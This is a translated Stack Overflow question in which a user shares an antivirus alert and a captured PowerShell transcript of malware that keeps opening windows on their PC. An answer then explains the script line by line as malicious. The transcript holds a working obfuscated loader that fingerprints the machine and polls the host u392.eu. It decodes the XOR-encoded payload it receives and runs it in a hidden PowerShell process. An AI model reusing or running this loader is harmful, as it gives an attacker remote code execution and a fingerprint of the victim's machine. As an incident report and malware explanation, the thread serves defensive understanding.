**已关闭。**此问题不符合Stack Overflow guidelines。它目前不接受回答。
这个问题似乎不是关于在help center定义的范围内编程。
上个月关门了。
Improve this question
**所以它发生在随机时间在我的一天一个powershell窗口弹出和关闭的权利,比我的防病毒(诺顿)提醒我。
- 类别:入侵防御
- 日期和时间:2019 - 09 - 23 02:29:12
- 风险:高
- 活动:172.64.142.7的入侵尝试被阻止。
- 状态:已阻止
- 建议采取的措施:无需采取任何措施
- IPS警报名称:系统感染:木马程序.后门活动748
- 默认操作:无需采取任何措施
- 采取的措施:无需采取任何措施
- 攻击计算机:172.64.142.7,80
- 攻击者URL:http://u392.eu/api/v1/A524F999A3E9191FAE6BA5E3758DD2DC8AD4E10D75DE6E5A0C8E4749C8D4E695
- 目标地址:
- 源地址:172.64.142.7
- 交通描述:TCP,www-http
- 来自www.example.com的网络流量http://u392.eu/api/v1/A524F999A3E9191FAE6BA5E3758DD2DC8AD4E10D75DE6E5A0C8E4749C8D4E695%5C%5C%5C与已知攻击的签名相匹配。该攻击是由\DEVICE\HARDDISKVOLUME 7\WINDOWS\EM 32\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE造成的。若要停止收到此类通信的通知,请在“动作”面板中单击“停止通知我”。
所以我改变了我的powershell设置,以转录每一个powershell会话,这就是它转录:
**********************
Windows PowerShell transcript start
Start time: 20230909022349
Username: \<myuser\>
RunAs User: \<myuser\>
Configuration Name:
Machine: \<mymachine\>(Microsoft Windows NT 10.0.19045.0)
Host Application: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -Version 5.1 -s -NoLogo -NoProfile
Process ID: 7128
PSVersion: 5.1.19041.3031
PSEdition: Desktop
PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.19041.3031
BuildVersion: 10.0.19041.3031
CLRVersion: 4.0.30319.42000
WSManStackVersion: 3.0
PSRemotingProtocolVersion: 2.3
SerializationVersion: 1.1.0.1
**********************
PS\>\[Security.Cryptography.SHA256\]$sha = \[Security.Cryptography.SHA256\]::Create()
$macguid = (Get-ItemProperty (((\[regex\]::Matches('yhpargotpyrC\\tfosorciM\\ERAWTFOS:MLKH','.','RightToLeft') | ForEach {$\_.value}) -join '')) -Name MachineGuid).MachineGUID;
$userid = "$($env:USERDOMAIN)$($env:USERNAME)$($env:PROCESSOR_REVISION)$($env:PROCESSOR_IDENTIFIER)$($env:PROCESSOR_LEVEL)$($env:NUMBER_OF_PROCESSORS)$($macguid)";
$guid = ($sha.ComputeHash(\[Text.Encoding\]::UTF8.GetBytes($userid)) | ForEach-Object ToString X2) -join '';
while ($true) {
try {
$r = Invoke-RestMethod -Uri "http://u392.eu/api/v1/$($guid)"
if ($r -ne '') {
$buf = \[Convert\]::FromBase64String($r);
for ($i = 0; $i -lt $buf.Length; $i++) {
$buf\[$i\] = $buf\[$i\] -bxor 22;
}
$lines = \[Text.Encoding\]::ASCII.GetString($buf).Split("`r`n");
$p = \[Diagnostics.Process\]::new();
$p.StartInfo.WindowStyle = 'Hidden';
$p.StartInfo.FileName = 'powershell.exe';
$p.StartInfo.UseShellExecute = $false;
$p.StartInfo.RedirectStandardInput = $true;
$p.StartInfo.RedirectStandardOutput = $true;
$p.Start();
$p.BeginOutputReadLine();
foreach ($line in $lines) {
$p.StandardInput.WriteLine($line);
}
$p.StandardInput.WriteLine('');
$p.WaitForExit();
break;
}
}
catch {
}
Start-Sleep 2
}
PS\>TerminatingError(Invoke-RestMethod): "The underlying connection was closed: An unexpected error occurred on a send." (until i terminate powershell in the task manger it would spam that error)
我将appriciate任何帮助,但我主要是问有关powershell脚本
解释和帮助解决问题
1条答案
按热度按时间ugmeyewa1#
它看起来绝对是恶意的--脚本非常努力地不让任何人知道它在做什么。
我会尽我所能解释每一行是做什么的:
___
创建一个SHA 256对象来散列文本。这基本上是使用一个复杂的数学问题,把一些文本变成一堆“随机”字符。
___
从注册表中获取计算机的ID(基本上是每台计算机的唯一ID)。这是第一个表明它是恶意的,因为他们故意向后输入注册表路径(
HKLM:SOFTWARE\Microsoft\Cryptography
)来伪装它,并使用RightToLeft
正则表达式将其翻转回正常状态。___
获取您的域名、用户名、CPU(处理器)类型、CPU数量以及之前的计算机名称。基本上看起来像这样:
___
获取所有上述信息,并从一开始就使用SHA 256对象创建一个哈希,它可以将其发送回服务器,以便他们可以解码和使用这些信息。
___
这将启动一个
while
循环,这意味着它将永远运行,直到脚本停止。try
语句意味着如果在失败之后运行的任何命令,它将停止并且不继续其余的命令。但它仍然在while循环中,所以它会循环回来再试一次。___
这是最令人担忧的部分。它会将它提取的有关您的计算机,您的用户名,域,域名等的信息发送到该URL(可能是他们的服务器),服务器将向您的计算机发送响应。正如您将在下面看到的那样,响应是另一个PowerShell脚本。由于我们看不到 * 那个 * 脚本,我们不知道它试图做什么,但我们可以假设它是恶意的。
___
如果PowerShell收到来自服务器的响应,它会解码该响应。
___
这将循环通过响应,这是另一个PowerShell脚本,并进一步解码每行以将其转换为可运行的脚本。
___
在这里,他们启动一个新的PowerShell示例,并确保它被隐藏,这样你就不会在屏幕上看到它。
___
获取前面解码的PowerShell脚本并逐行运行它。
___
在重新启动之前暂停脚本2秒钟。
同样,由于我们无法看到他们试图在您的机器上运行的其他脚本,我们无法知道他们试图做什么,但这肯定看起来像是恶意攻击。